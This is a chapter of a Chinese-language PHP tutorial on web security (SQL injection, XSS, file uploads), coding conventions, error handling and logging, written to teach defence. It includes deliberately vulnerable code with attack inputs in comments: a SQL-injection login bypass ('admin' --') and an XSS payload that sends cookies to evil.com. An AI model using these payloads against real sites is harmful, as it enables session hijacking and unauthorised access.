Appearance
第 16 章:安全与优化
16.1 防 SQL 注入
SQL 注入的危害
SQL 注入是一种常见的 Web 安全漏洞,攻击者可以通过输入恶意 SQL 代码来操纵数据库,可能导致数据泄露、数据篡改甚至服务器被控制。
SQL 注入示例
php
<?php
// 不安全的代码(存在 SQL 注入漏洞)
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
// 攻击者可以输入:
// username: admin' --
// password: anything
// 最终 SQL 变成:
// SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
// 这样就可以绕过密码验证
?>防护方法
1. 使用预处理语句(推荐)
php
<?php
// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>2. 使用 mysqli_real_escape_string()
php
<?php
// 转义特殊字符
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
?>3. 使用 PDO 预处理
php
<?php
// 使用 PDO 预处理
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
'username' => $username,
'password' => $password
]);
$result = $stmt->fetch();
?>16.2 防 XSS 攻击
XSS 攻击的危害
XSS(跨站脚本攻击)是一种注入攻击,攻击者通过在网页中注入恶意脚本,当用户浏览网页时执行,可能导致用户信息泄露、会话劫持等。
XSS 攻击示例
php
<?php
// 不安全的代码(存在 XSS 漏洞)
$message = $_POST['message'];
echo $message;
// 攻击者可以输入:
// <script>alert('XSS 攻击!');</script>
// 或者:
// <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
?>防护方法
1. 使用 htmlspecialchars()
php
<?php
// 转义 HTML 特殊字符
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
echo $message;
?>2. 使用 htmlentities()
php
<?php
// 转义所有 HTML 实体
$message = htmlentities($_POST['message'], ENT_QUOTES, 'UTF-8');
echo $message;
?>3. 使用 strip_tags()
php
<?php
// 去除 HTML 标签
$message = strip_tags($_POST['message']);
echo $message;
?>4. 设置 HTTP 头
php
<?php
// 设置 Content-Type 头
header('Content-Type: text/html; charset=utf-8');
// 设置 Content-Security-Policy 头
header("Content-Security-Policy: default-src 'self'");
?>16.3 防文件上传漏洞
文件上传漏洞的危害
攻击者可以通过上传恶意文件(如 PHP 木马)来获取服务器控制权。
防护方法
1. 验证文件类型
php
<?php
// 验证文件类型
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die('不允许的文件类型');
}
?>2. 验证文件扩展名
php
<?php
// 验证文件扩展名
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $allowed_extensions)) {
die('不允许的文件扩展名');
}
?>3. 验证文件大小
php
<?php
// 验证文件大小
$max_size = 5 * 1024 * 1024; // 5MB
if ($_FILES['file']['size'] > $max_size) {
die('文件太大');
}
?>4. 重命名文件
php
<?php
// 重命名文件
$new_filename = uniqid() . '.' . $extension;
$target_file = $upload_dir . $new_filename;
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
?>5. 检查文件内容
php
<?php
// 检查文件内容
$file_info = getimagesize($_FILES['file']['tmp_name']);
if ($file_info === false) {
die('不是有效的图片文件');
}
?>6. 存储到非 Web 可访问目录
php
<?php
// 存储到非 Web 可访问目录
$upload_dir = '/var/uploads/'; // Web 无法直接访问的目录
?>16.4 代码规范与注释
PHP 代码规范
1. 命名规范
php
<?php
// 类名:大驼峰命名法
class UserController {
// ...
}
// 方法名:小驼峰命名法
public function getUserById($id) {
// ...
}
// 变量名:小驼峰命名法或下划线命名法
$userName = 'John';
$user_name = 'John';
// 常量名:全大写下划线命名法
define('MAX_SIZE', 1024);
const MAX_SIZE = 1024;
?>2. 缩进和空格
php
<?php
// 使用 4 个空格缩进
if ($condition) {
// code
}
// 运算符两侧加空格
$result = $a + $b;
// 逗号后加空格
function test($param1, $param2) {
// code
}
?>3. 注释规范
php
<?php
/**
* 函数说明
*
* @param string $name 用户名
* @param int $age 年龄
* @return bool 是否成功
*/
function registerUser($name, $age) {
// 单行注释
/*
* 多行注释
* 第二行
*/
return true;
}
?>16.5 错误处理与日志
错误处理
1. 错误报告级别
php
<?php
// 显示所有错误
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 生产环境不显示错误
ini_set('display_errors', 0);
?>2. 自定义错误处理
php
<?php
// 自定义错误处理函数
function customError($errno, $errstr, $errfile, $errline) {
echo "<b>错误:</b> [$errno] $errstr<br>";
echo "错误文件:$errfile<br>";
echo "错误行号:$errline<br>";
// 记录错误日志
error_log("Error: [$errno] $errstr in $errfile on line $errline");
}
// 设置自定义错误处理函数
set_error_handler("customError");
?>3. 异常处理
php
<?php
try {
// 可能抛出异常的代码
if ($error) {
throw new Exception("发生错误");
}
} catch (Exception $e) {
echo '捕获异常: ', $e->getMessage(), "\n";
} finally {
// 无论是否发生异常都会执行
echo "finally 代码块执行\n";
}
?>日志记录
1. 使用 error_log()
php
<?php
// 记录错误日志
error_log("错误信息");
// 发送到邮箱
error_log("错误信息", 1, "admin@example.com");
// 写入文件
error_log("错误信息", 3, "/var/log/php_errors.log");
?>2. 自定义日志函数
php
<?php
function writeLog($message, $level = 'INFO') {
$log_file = '/var/log/app.log';
$timestamp = date('Y-m-d H:i:s');
$log_message = "[$timestamp] [$level] $message\n";
file_put_contents($log_file, $log_message, FILE_APPEND);
}
// 使用
writeLog("用户登录成功", "INFO");
writeLog("数据库连接失败", "ERROR");
?>小结
通过本章的学习,你了解了 PHP Web 开发中常见的安全问题和防护方法,包括 SQL 注入、XSS 攻击、文件上传漏洞等。你还学习了 PHP 代码规范和注释的最佳实践,以及错误处理和日志记录的方法。这些知识对于开发安全、稳定、可维护的 PHP 应用至关重要。在实际开发中,应该始终将安全性放在首位,遵循最佳实践,定期进行安全审计和代码审查。
